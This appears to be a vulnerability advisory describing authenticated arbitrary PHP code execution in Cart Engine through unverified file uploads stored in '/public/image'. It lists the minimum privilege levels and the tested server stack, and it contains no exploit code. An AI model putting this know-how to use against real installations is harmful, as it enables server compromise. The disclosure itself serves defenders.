Desc: Cart Engine suffers from an authenticated arbitrary code  
execution. The vulnerability is caused due to the improper verification  
of uploaded files in several modules thru several POST parameters.  
This can be exploited to execute arbitrary PHP code by uploading  
a malicious PHP script file that will be stored in '/public/image'  
directory. Minimum permissions needed for a user to upload any file:  
  
User level: Regular (param: user_level=1)  
Admin level: Editor (param: admin_level=3)  
  
Only the 'Super Admin' level makes the Tool 'File Manager' available.  
  
  
Tested on: Apache/2.4.7 (Win32)  
PHP/5.5.6  
MySQL 5.6.14
